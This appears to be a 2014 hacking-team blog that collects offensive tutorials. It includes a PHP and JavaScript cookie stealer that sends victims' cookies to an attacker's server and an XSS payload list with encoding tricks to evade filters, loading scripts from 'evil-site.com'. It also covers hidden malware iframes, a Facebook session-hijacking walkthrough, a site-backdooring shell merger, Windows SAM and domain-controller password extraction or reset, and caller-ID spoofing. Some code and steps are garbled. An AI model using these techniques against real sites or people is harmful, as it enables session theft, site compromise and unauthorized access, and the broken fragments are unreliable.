1ND14N H4X0R5 T34M (IHT) JAI HIND JAI BHARAT

We are :- DeadManINDIA,Null_Port_Govind,Haxor Rahul,EagleShadow,Karate-Katrina,Spy-Hunter,Grey-Noob,Mr.R@66!T.

A big Slute to Our Indian Armies

Freedom is not free Our Soldiers Donates theirs lifes for us

We are Indians and We are Proud to be Indians

India is great.Because their is one place in the world where Peoples Recpect all Religious.

Kali is good OS for Hacking

Peoples Says this OS is best This OS is best but no one OS like Kali Linux .

MOM and DAD

I can't saw God but When i see my MOM and DAD then i think God in there they are My Gods Love You MOM DAD.

Saturday, 15 March 2014

What are Computer Cookies?


What are

Computer Cookies?





The sender, can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.

The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.

Php Coding a receiver is the part. Only two things are needed to make a receiver : a webhost/ftp which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).

As I said, the receiver's job is to receive the cookie from the sender. Once the receiver has the cookie, it needs a way to get that cookie to you.

 <?php                                      // line 1
$cookie = $HTTP_GET_VARS["cookie"];       // line 2
$file = fopen('cookielog.txt', 'a');     // line 3
fwrite($file, $cookie . "\n\n");        // line 4
?>

Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.

Done ! Just upload the files on ftp server and make permission of text file "cookielog.txt" to 777

Friday, 14 March 2014

How to build a basic cookie stealer

How to build a basic cookie stealer



A cookie stealer is used to steal the login information of any unsuspecting victim. Once the link is visited, the cookie of the user is taken and stored in a text file. They are then redirected to another page without knowing what has just happened. This cookie stealer will be made using PHP, so to begin with you will need a free host with PHP support. There are many out there so I wont give any examples. Once you have your host it's time to begin.

A cookie stealer is made up of a sender and a receiver. The sender is done using JavaScript so will work on almost any site providing the user has JavaScript turned on. The receiver is placed on your site and takes the cookie from the JavaScript cookie sender. Here is the receiver code for your PHP file:




<?php

$cookie = $HTTP_GET_VARS["
c"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
echo " <script>location.href='http://www.google.com';</script>";

?>


There are 3 parts of this code that are highlighted. The first is the letter "c", this is the name of get command the PHP file uses to get the cookie (/script.php?c=...) If you are trying to hide what the script is doing, this can be called anything. If you change this though, the script below must be changed to fit. The second and third are the name of the log file it creates when the cookie is received and where it redirects the user to after the log file has been stored.

Next is the Javascript receiver:


<script language="JavaScript">
document.location= "
http://www.yoursite.com/stealer.php?c=" + document.cookie; </script>


Again you have to change the URL to fit the actual location and name of your PHP script. Also, if you have changed the GET variable name (c) this must be changed too.

Add that to the site and as soon as it loads, the cookie is stolen. It would be a lot better to name the PHP page to look like part of the site your are infecting e.g. out.php maybe. That's all there is to building a basic cookie stealer. If you want to go more advanced and have a host with sendmail enabled you could make the script email you the cookie log as soon as it arrives.

How cookie stealers are used



Just before finishing this tutorial it would useful to mention the most common infection methods. The first is finding a post comment form or guestbook or any web form that doesn't filter what the user enters, allowing you to enter the above JavaScript into the comment field. This is a relatively simple method.

Then there is also posting the link on basic forums that allow you to do so making sure the link is hidden or submitting the link to a site.

The next is through XSS (click to go to an XSS tutorial) permanent XSS is easy its just the same again, but temporary XSS can be used as well. Say you have a search engine that is vulnerable and the format is:

Search.php?q=search_here


You could add the script straight to it


Search.php?q=<script language="JavaScript">document.location= "http://www.yoursite.com/stealer.php?c=" + document.cookie;</script>




Although this does look pretty obvious. Possibly making use of encrypting using hex then using Javascript's document.write or using unescape will make it virtually unrecognisable though.



Links

http://www.nickciske.com/tools/hex.php

Hex encoder/decoder

http://www.java2s.com/Code/JavaScript/Security/UnescapeEncoderDecode.htm



JavaScript unescape encoder/decoder

And that's all there is to this tutorial. Now you should also be able to recognise and avoid a cookie stealer if one is directed towards you.

How to steal Facebook Authentication cookies

How to steal Facebook Authentication cookies

How to hack a facebook account – or, basically how to hijack php sessions. Yes – this is old news – yes its a common vulnerability – but you get a better idea for what it is and how it works when things are explained in detail (with screenshots!).
Before we begin, however, I want to re-emphasize that it is VERY EASY to protect yourself against this sort of attack. Facebook supports HTTPS, so when you browse facebook (or twitter for that matter) or if you have it bookmarked – please make sure you’re using HTTPS:// rather than HTTP:// in the URL at the very least, if not using a VPN solution for further encryption. Also, if the ‘victim’ logs out of facebook, the attackers session becomes invalid – so it’s a good practice to actually log out of facebook and log back in again rather than using the ‘remember me’ checkbox.
Facebook like many sites operates using authentication cookies. Their auth cookies contain a variety of information, but for our purposes this is irrelevant. Here is a sanitized cookie for reference:
Cookie: datr=1276721606-b7f94f977295759399293c5b0767618dc02111ede159a827030fc; lsd=Xesut; lxe=greg.evans%40****************; c_user=100001230367821; lo=wl9fcGXMhPfoT4bAhKFP3Q; lxs=1; sct=1276721745; xs=a615cfe596448194d6e2a8d062a90e4e
You can see the ‘lxe’ field is the login. We haven’t done any further research into what the various other fields mean, but using facebook without any kind of security you’re both leaking the email address used for your login and the session cookie.
First thing you’ll want to do is fire up your favorite packet capture application. For this example we’ve used Wireshark:

Next, set the filter in the top left to ” http.cookie contains “datr” “. This should show you only packets captured which contain the cookie we’re looking for. You can see that in this screenshot we’ve already captured a cookie.

Once you’ve found a suitable cookie, you can copy it into the buffer by right clicking on the cookie line, and clicking Copy -> Bytes (Printable Text Only)

Next you’ll want to open up firefox. You’ll need both greasemonkey and the cookieinjector script.
Simply browse to facebook – make sure you are not logged in:

Hit ALT-C to bring up the cookie injector dialog box:

Then paste in the cookie!

Hit refresh and – VIOLA! you’re now logged in as your victim! Now this doesn’t give you access to their credentials, this is about the equivalent to walking up to their workstation while they’re away from their desk and using facebook.

Neat huh? Pretty easy too. I smiled big when we demo’ed the attack in our lab – its old, sure, but being successful is always a good feeling!

All About Cookies and Security

What are cookies and how are they used by websites and web admins?



Cookies identify you to the site. They store settings about your customized look and feel for the pages you view, your username and encrypted password or user id, who referred you to the site, profile preferences, and just about any kind of information the admins want them to store to customize your user experience. Cookies are most commonly used to give you access to login protected pages once you've entered your information, identify you in content that you change on the site (forum posts or article comments, for example), tell the administrators how you found the site, and more. Again, cookies will function as their creators have written them to function. This sounds like a simple, obvious statement, but it can't be overlooked. We'll see why later.

So what are the effects if cookies are manipulated?



Insecure cookies can be changed to allow you access to protected pages (ex admin), change your user id to impersonate other users, etc. Up until now, this tutorial has been all theoretical information, so how about a little real-life application now?

I remember testing a website whose admin knew very little about security. The website worked like this: the user would log in and the site would check the username and password combination. If they were correct, then the site would give the user a cookie containing their user id (ex: 1428) to identify them to the site for the remainder of their session, their username to be displayed on the content they changed (ex: fourthdimension), and some other miscellaneous info like local time, referrer, etc. Like I mentioned earlier, sites will only use cookies as well as their administrator created them to. Are you beginning to see what could happen if administrators use cookies insecurely like this one did? If not, you will in a few minutes. The minute I saw my cookie and understood how the site used it, I knew the site was mine. The first thing I did was fool around with changing the value of my username. Sure enough, when I posted comments on the site, the comment author fields displayed whatever I had just changed my cookie's username value to. Well, that was fun, but not very useful unless I wanted to use it for phishing or social engineering, none of which were objectives in this test, so I decided to take note of it in my report and move on. What about the user id field? Like I said, the site would check for a valid username/pass combo ONCE, when the user logged in. After that, it relied on the cookie to tell it who the user was. That made the user id field a pretty promising field to change if I want to escalate my privileges on the site or control other users' accounts. Sure enough, as I changed the user id, I would change who I was logged in as. (Note that the display name didn't change because that was stored seperately as I mentioned earlier, but all the user info and preferences, etc changed, so I was sure that it worked.) Working on the assumption that the user id wasn't a randomly generated number but actually the member number assigned by the order of registration, I decided to try for the admin's account, which would have the user id of 1 or 0001 or something along those lines. After a few minutes of tweaking that logic, I was logged in as the site administrator. After finding a few more errors (xss, php validation, etc) I sent him the report. So now do you see how powerful changing your cookie can be if site administrators don't user secure cookies or use their cookies securely? I didn't even need to know the admin's username or password, and since there were no visible attacks on the site, there was nothing to raise anyone's suspiscion. Cookies can be usefull tools when used correctly by web admins, but powerfull attack vectors to be exploited when used incorrectly.

So now that you understand the theory and applications of cookies, you're probably wondering how you can edit them on your own. There are many ways to change cookies, such as javascript injections, dozens of firefox addons, etc. My favorite way is by using a firefox addon called Firecookie, which is actually an extension to another firefox addon, firebug. You can download them from mozilla's official addon site (firebug must be installed first):

Firebug: https://addons.mozilla.org/en-US/firefox/addon/1843
Firecookie: https://addons.mozilla.org/en-US/firefox/addon/6683

If you don't have firefox, get firefox. Now that you have them installed, I'll give you a quick guide to editing cookies with them. There's a lot more you can do with firebug, so I'd encourage you to look at some tutorials for its other features as well, like editing pages' source code on the fly with its Inspect feature. That aside, back to editing cookies. Click the firebug icon on the bottom right of your firefox window. Now click on the Cookies tab at the top of the window that pulls up. Fill in the checkbox for Cookies and click apply. Click OK on any windows that pop up about resending data. Now you should see a listing of the cookie field and values, among other things. Right click on the field you want to change and click edit. Change the value field to whatever you want. You may need to change the session only check box or the expiration date to get the cookie to stay once the page has refreshed, depending on the page. Once you've changed the value, refresh the page. If you still see your cookie in the firecookie window, then your cookie is in effect. If not, you may need to play with some of the settings as I mentioned earlier.

And that's the basics of cookie hacking! Now you know all you need to understand cookie stealing and more.

Thursday, 13 March 2014

What is an IFrame Injection?


What is an IFrame Injection?
Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites.  So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website.  Malware  will be loaded to your computer, now you are infected

What is IFrame Tag?
<Iframe> tag stands for Inline Frame.  It is used to insert contents from another website or server.  That can be useful for building online applications.
IFrame Injection Attack:
Malware Attackers use this IFrame and include the malware websites. They are able to include the webpage one pixel square(You won't able to see it in webpage). Obfuscate the JavaScript that will run automatically from that included page so that it looks something like %6C%20%66%72%61%6D%65%62%6F - leaving no obvious clue that it's malicious.

What an attacker can do with Iframe Injection?
Using Iframe Injection, an attacker can inject advertisements inside any other websites, insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:
1.First of all attacker will find the Vulnerable websites using google dorks.
2. They test the vulnerability by inserting some iframe tag using the url.
3. then insert the Malicious Iframe code inside the webpage.
For Example:
he can insert this code using the url:
<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

For php webpages:
echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Obfuscate javascript
<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){… 

4. So if the clients load page, his system will be infected.


What you have to do ,if youinfected by Iframe Injection?

  1. Change your passwords of ftp, control panel and database.
  2. Inform to your hosting service about the injection attack and they will take care of server injection .
  3. Download all your files from the hosting and  check whether they are infected or not. if you found any infected files, clean it.
  4. Buy a good antivirus software, Scan your Computer completely.
  5. Don't use the Public systems for logging into your Hosting service.
Webmasters  should take care(affects page rank,visitors) 
Webmaster, If you find your website is infected by Iframe Injection, then try to clean it as soon as possible before google detects it.  If the google detects it, it will show the Pop up message to your users " This site may harm your computer". Definitely , users won't come back to your site .  Also google will set black mark for your website.  You will lost your page rank and visitors.


If you want to check the what google thinks about your websites, then use this link:
http://www.google.com/safebrowsing/diagnostic?site=http://siteurl

What is XSS?

What is XSS?
Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users.

In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.

Example :Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.
It will be easy to understand XSS , if you have the following prerequisite:
  • Strong Knowledge in HTML,javascript(Reference).
  • Basic Knowledge in HTTP client-Server Architecure(Reference)
  • [optional]Basic Knowledge about server side programming(php,asp,jsp)

XSS Attack:
Step 1: Finding Vulnerable Website
Hackers use google dork for finding the vulnerable sites for instance  "?search=" or ".php?q=" .  1337 target specific sites instead of using google search.  If you are going to test your own site, you have to check every page in your site for the vulnerability.

Step 2: Testing the Vulnerability:
First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.


Test 1 :
Once we found the input field, let us try to put some string inside the field, for instance let me input "BTS". It will display the  result .

Now right click on the page and select view source.   search for the string "BTS" which we entered in the input field.  Note the location where the input is placed.

Test 2:
Now we are going to check whether the server sanitize our input or not.  In order to do this , let us input the <script> tag inside the input field.
View the source of the page . Find the location where input displayed place in previous test.

Thank god, our code is not being sanitized by the server and the code is just same as what we entered in the field. If the server sanitize our input, the code may look like this &lt;script&gt;. This indicates that the website vulnerable to XSS attack and we can execute our own scripts .

Step 3: Exploiting the vulnerability
Now we know the site is somewhat vulnerable to XSS attack.  But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code.  For instance, let us input <script>alert('BTS')</script> .

Now it will display pop-up box with 'BTS' string. Finally, we successfully exploit the XSS .  By extending the code with malicious script, a hacker can do steal cookies or deface the site and more.

Types of XSS Based on persisting capability:
Based one Persistence capability, we can categorize the XSS attack into two types namely Persistent and Non-Persistent.

Persistent XSS:

The Persistent or Stored XSS attack occurs when the malicious code submitted by attacker is saved by the server in the database, and then permanently it will be run in the normal page.

For Example:   
Many websites host a support forum where registered users can ask their doubts by posting message  , which are stored in the database.  Let us imagine , An attacker post a message containing malicious javascript code instead.  If the server fail to sanitize the input provided, it results in execution of injected script.  The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.


Non-Persistent XSS:

Non-Persistent XSS, also referred as Reflected XSS , is the most common type of XSS found now a days. In this type of attack, the injected code will be send to the server via HTTPrequest.  The server embedd the input with the html file and return the file(HTTPResponse) to browser.  When the browser executes the HTML file, it also execute the embedded script.  This kind of XSS vulnerability frequently occur in search fields.

Example:
Let us consider a project hosting website.  To find our favorite project, we will just input the related-word in the search box .  When searching is finished, it will display a message like this "search results for yourword " .  If the server fail to sanitize the input properly, it will results in execution of injected script.

In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser.  The browser then executes the code .

In addition to these types, there is also third  type of attack called DOM Based XSS attack, i will explain about this attack in later posts.

What can an attacker do with this Vulnerability?
  • Stealing the Identity and Confidential Data(credit card details).
  • Bypassing restriction in websites.
  • Session Hijacking(Stealing session)
  • Malware Attack
  • Website Defacement
  • Denial of Service attacks(Dos)

Cross Site Scripting (XSS) Tutorial

Cross Site Scripting (XSS) Tutorial


Simply put, cross site scripting involves the injection of malicious code into a website. It is the most common method of attack at the moment, as most large sites will contain at least one XSS vulnerability. However, there is more than one type of XSS. The most commonly found is referred to as "non persistent" XSS.

None Persistent XSS

Non persistent as the title suggests means that the injected script isn't permanent and just appears for the short time the user is viewing the page. The best example of this is a basic coded search engine for a site. Say for example, the site search script is in this format:


Site.com/search.php?search=text here



Once something has been searched for, the script may display on the page something along the lines of:

"Results for
text here"

Simply echoing your search string straight onto the page without performing any validation checks. What if we were to alter the search string to display html of JavaScript? For example:

Site.com/search.php?search=<font color=red>XSS</font>


Site.com/search.php?search=<script>alert("XSS");</script>


If no sanitation checks are being performed by the search script, this will just be echoed straight onto the page, therefore displaying an alert or red text. If there was no limit to the size, this could be used to display anything you want.

However, since the attacker can only display code on their own pages, this isn't much of a threat to other users. Although if the string was turned into Hex the search string may be slightly more hidden and with a little deception could be used to trick users into thinking the link is legitimate.

Next there's persistent XSS


Persistent XSS



Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent attacks are injected permanently into the code of the site, so anyone who views the site will be able to see permanently. In order for these to work, the code has to be made to store itself on the sites server somehow, which can be hard to find.

An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users (fixed now, obviously) affecting the page all.php. The register process wasn't sanitized at all, so all a user had to do was simply register with a username containing HTML or JavaScript code. This was an obvious vulnerability which should have been spotted from the beginning, but just like XSS on other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and anywhere where the username was displayed on the site. A good place to look out for this vulnerability is basic forum scripts that site owners have made themselves or found off sites designed to help novices.

With both of these attacks, it is also possible to run malicious code from another site again making the possibilities of attack endless. Javascript has a lot of features the are not well know, such as changing the images on sites from images[number].src and anyone who uses myspace will know the CSS can be used to remove or replace certain sections of a site based on name. If you have a permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off another site:

<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>


Getting Past Basic Protection



So what if a site owner knows about XSS, but has provided some but very little protection against it? Well, this is where CharCode comes in. Char code is basically just a simple form of character encoding that can encode blocked characters so they get past the protection but still get displayed normally on the page. Here is a very common one that will pop up alerts saying "XSS" if it is vulnerable:


';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>


This is a very useful XSS to know, as it provides more than one type of attack at once. If you get only one or two alerts, you know that only one of two of them work, so you need to try to eliminate some of them to text which one is affecting the site. The CharCode for "X" is 88 and "S" is 83. As you can see, each provides a slight variation to try to beat character blocking.

XSS could also be hidden in a none existent image. This code below would run malicious JavaScript disguised as an image:

<img src="javascript:alert('XSS');">


What if quotes are blocked? No problem, just inject the site like so:


<img src=javascript:alert(&quot;XSS&quot;)>


The &quot; will be interpreted in html as a " so the code will run fine. The next one below is very likely to work if you find a site is vulnerable.

<img src=javascript:alert(String.fromCharCode(88,83,83))>


The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.

Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic code that was invented to allow all characters to be available to everyone e.g. for different languages such as chinese character symbols. And ASCII has a similar purpose. You can go to
http://www.asciitable.com to view the HTML code needed for ASCII code. This below shows the whole code in ASCII form:

<img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>


As you can tell, this will beat many filters as the code is basically unrecognisable. However, translating the code can display what it was designed to do. Next for Unicode, again this makes the text unrecognisable but works the same:

<img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>


If the site has a limited amount of characters allowed, this probably won't be useful. As mentioned previously, hex can also be used for XSS. The example below shows this:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>


Again unrecognisable which makes it a great XSS to use.

The list of possible XSS attacks is endless and is far more than is covered here. With so many ways to bypass security checks site owners have to work harder to try to protect their sites. As well as web forms being used on most sites these days allowing users to enter code which will be stored somewhere and inevitably viewed by someone else XSS can be used for almost anything. With practise XSS can be used to run a hidden cookie stealer which a user will view and allow you to steal their login info or if sessions are used perform "session hijacking" where you steal their session data and again log in as them. To the simple defacement of a website through HTML or Javascript. XSS is definitely an attack method which should be studied well as it provides such a common method of attack.

As mentioned above, the list of possible XSS attacks is endless, there isn't enough room to mention them here, but I will finish with some more XSS examples that may effect a vulnerable site.

<IMG SRC="jav&#x0A;ascript:alert('XSS');"> - new line vulnerability

<iframe src=http://evil-site.com/evil.html < - XSS using an iframe to display a whole new page

<SCRIPT>x=/XSS/  alert(x.source)</SCRIPT> - again beat checks using Javascript



<BODY BACKGROUND="javascript:alert('XSS')">
- infected body tag

<BGSOUND SRC="javascript:alert('XSS');">

<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - stylesheet vulnerability

<IMG SRC='vbscript:msgbox("XSS")'> - vbscript, scripting language similar to javascript, again can help beat validation checks

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - incorrectly parsed meta refresh

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

- base64 encoding, another form of encryption, this one is less likely to work.

<SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT> - very sneaky method, here you rename your .js to .jpg, but since you have the script tags it will still be read as a js file.



The list goes on and on, the best way is to just try them yourself. A lot of the time incorrectly written HTML code will be the best method. If one way doesn't work, try adding an extra ">" or "<" to the start or end of the code for example or view the source of the page for code tags you need to close. Adding a "'>" to the end then starting your own malicious code. Well, that's the end of this tutorial. For more XSS attack example just use google as more of these are being though up every day. Soon you should even be able to invent your own.

Backdoor any site with Shell merger (T0du shell merger V1.1)

Backdoor any site with Shell merger (T0du shell merger V1.1)

Our Friend Shell 

Hello, posting after a long time. This time, I present my first tool coded in PHP with which, u can backdoor any php file on a website(Even index page :D), and hide any of your shell in it, without anyone knowing about it.


So now, without wasting any time, here goes the method to use it:
  1. Enter local path of file to which ur shell is to be merged with.
  2. Upload shell.
  3. Select your password, which u'll use to access the merged shell.
  4. Now hit the button.
  5. To access the shell, send POST variable "backdoor=[your pass]" to the merged file name.
  6. enjoy your shell  :)
Here is the code: http://pastebin.com/eePiu5iL

Wednesday, 12 March 2014

How to Break Domain Controller Password without Logging In

Forgot domain administrator password and couldn’t log on your domain controller? This is the most common password problems that many network administrators and system administrators face when dealing with domain controller. Here we’ll show you an easy way to break domain controller password quickly and easily.
Reset Windows Password is the powerful utility which enables you to break domain controller password on Windows Server 2008/2003/2000. This utility works offline, that means you need to shut down your computer and boot off your computer using a CD or USB stick.
How this software works?
Windows Active Directory stores the domain user passwords and other account information in a file called NTDS.dit. This file can be usually found in:\windows\ntds. This file is a part of Active Directory database and remains inaccessible as long as the domain controller is running. Hence, it is necessary that you boot off your computer and access this NTDS.dit file via the boot disk. This tool intelligently gains access to this file and will reset/change the password associated with administrator or any other domain user account.
How to break domain controller password without logging in?
The steps involves burning a Live CD on another accessible computer, and then boot up your domain controller with the Live CD so you can break domain controller without even logging in.
  1. Download the Reset Windows Password utility. Unzip the download file and you’ll get a ResetWindowsPwd.iso file.
  2. Burn the ISO image file to a blank CD using any burning program (we recommend BurnCDCC) that can burn ISO images.
  3. After you have the Live CD, bring it to boot off your domain controller whose password you want to break. You’ll see that the computer will load some files inside the Live CD and launch the Reset Windows Password utility.
  4. Click on the Reset Active Directory Password option, then choose the Active Directory ntds.dit database file from the drop-down list. It will display the domain user accounts and you can find which account is password-protected, locked out or disabled.
  5. Choose a user account and then click on the Reset Password button, it will break your domain account and change the forgotten/unknown password to a new one: Password123.
  6. Now remove the Live CD and restart the computer, you can then log in to your domain user account with the new password.
With the Live CD you can also use it to reset local admin/user passwords on Windows Server 2008/2003/2000 and Windows 8/7/Vista/XP. It’s a must-have Live CD for network administrators and system administrators.

Reset Windows Password: reset/change user account password



Reset Windows Password:
reset/change user account password


Selecting data source

Selecting passwords source

To reset a regular account password, you should select two registry files: SAM and SYSTEM. The application automatically searches all files and suggests the first ones it finds. The registry files are located in the %WINDIR%\system32\config folder. Where %WINDIR% is your windows directory.

Once you select Active Directory mode during the previous step, you should set the location of the Active Directory database instead of the SAM registry file. By default, that's the %WINDIR%\NTDS folder. So the full path to the AD database may look like this: C:\Windows\NTDS\ntds.dit
 
 

Choosing Windows account

Selecting Windows account

The top of the screen contains the list of user accounts found. By clicking on one of them, you can see the properties of the account; namely: whether the account is locked or disabled, whether the password is required, whether password history is available, whether password hint is available, etc.

 
 

Resetting password

Resetting Windows password
To reset the password, set the 'New password' field blank and click on the 'Reset/Change' button. Take a note of the additional options. The account must be not locked, disabled or expired.

Besides that, if local or domain password policies are set, make sure that the new password complies with the length and complexity requirements and does not match any of the passwords entered earlier (if password history exists.) Otherwise, you will be unable to logon to the system even if you reset the password.

If you are resetting a password of the internal Administrator in Windows XP Home edition or in some editions of Windows Vista, please keep in mind that in order to activate the internal administrator account and logon to the system under that (and not under a regular account) you would need to load the system in the safe mode. To do that, before Windows starts loading, keep pressing the F8 key until the textual system boot selection dialog appears. In that dialog, select the safe mode item. After that, the internal administrator account will become active, and you will be able to use it.
 

Tuesday, 11 March 2014

Call Forging Trick In Moblie hacking

Call Forging:

To call someone from their own number or any number.
1. Go to http://www.mobivox.com and register there for free account.

2. During registration, remember to insert Victim mobile number in "Phone number
"field as shown below.




3. Complete registration and confirm your email id and then login to your account.
click on "Direct WebCall".




4. You will arrive at page shown below. In "Enter a number" box, select your country
and also any mobile number(you can enter yours). Now, simply hit on "Call Now"
 button to call your friend with his own number.




5. That's it. Your friend will be shocked to see his own number calling him. I have
spent last two days simply playing this cool mobile hack prank.


Note: This trick will only knowledge purpose...
         Just try this trick only known person.

Monday, 10 March 2014

How to Use the Sam to Hack Windows

 Good tut so i share From A site

Steps

  1. Use the Sam to Hack Windows Step 1 Version 2.jpg
    1
    Well, to do this you have to have a basic idea of how passwords are stored. First, when you type it in, it is encrypted into something long and unrecognizable. Then it is stored in a file called the SAM.
    Ad
  2. Use the Sam to Hack Windows Step 2 Version 2.jpg
    2
    Now, where can you find this SAM file? Well, to be blunt, it is here: Windows/system32/config/SAM. But, don't go for it just yet! It is locked to all accounts while Windows is running. It can also be found in the registry under HKEY_LOCAL_MACHINE -> SAM.
  3. Use the Sam to Hack Windows Step 3 Version 2.jpg
    3
    "If it is locked, how do I get it?" Well, the easiest way to do this is to get an alternate OS like Linux, and copy the file. That simple. You can also use a program called pwdump2, which will get it as well.
  4. Use the Sam to Hack Windows Step 4 Version 2.jpg
    4
    "Now I have it, but the password is encrypted!" Now you get to the fun part, cracking the password. There are numerous programs available, but one of the best ones is called Cain, and can be downloaded from www(dot)oxid(dot)it/cain(dot)html.
  5. Use the Sam to Hack Windows Step 5 Version 2.jpg
    5
    It outputs password, and you are done!
  6. Use the Sam to Hack Windows Step 6 Version 2.jpg
    6
    Also, another awesome trick is injecting passwords into the SAM.
  7. Use the Sam to Hack Windows Step 7 Version 2.jpg
    7
    The easiest way to gain access is simply to use a tool called chntpw to change a password in the SAM,(after you back it up using Linux), and then simply log in, do what you have to do, then restore it.
  8. Use the Sam to Hack Windows Step 8 Version 2.jpg